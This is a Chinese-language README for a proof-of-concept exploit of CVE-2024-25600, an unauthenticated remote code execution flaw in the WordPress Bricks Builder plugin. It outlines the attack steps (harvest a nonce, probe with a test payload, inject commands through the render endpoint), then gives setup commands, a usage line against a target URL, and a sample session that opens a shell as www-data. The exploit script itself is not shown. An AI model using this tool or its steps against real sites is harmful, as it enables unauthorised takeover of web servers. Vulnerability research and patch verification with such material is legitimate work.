CVE-2024-25600 — WordPress Bricks Builder RCE（PoC）

WordPress Bricks Builder <= 1.9.6 中的未认证远程代码执行漏洞。模板渲染端点无需认证即可接受 PHP 代码，允许以 Web 服务器用户身份执行任意命令。

---

工作原理

1. 从目标页面源码中获取 Bricks nonce（与端点交互所需）。
2. 发送测试载荷以确认目标存在漏洞。
3. 通过渲染端点注入命令，打开交互式 shell。

要求

• Python 3
• 安装依赖：

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

使用方法

python3 exploit.py -u http://TARGET

示例：

$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

参考

• CVE-2024-25600
• Bricks Builder 安全公告
• Wordfence 分析文章

鸣谢

• 发现者： Snicco / Calvin Alkan
• 原始漏洞利用代码： K3ysTr0K3R
• 清理与简化： Esteban Zárate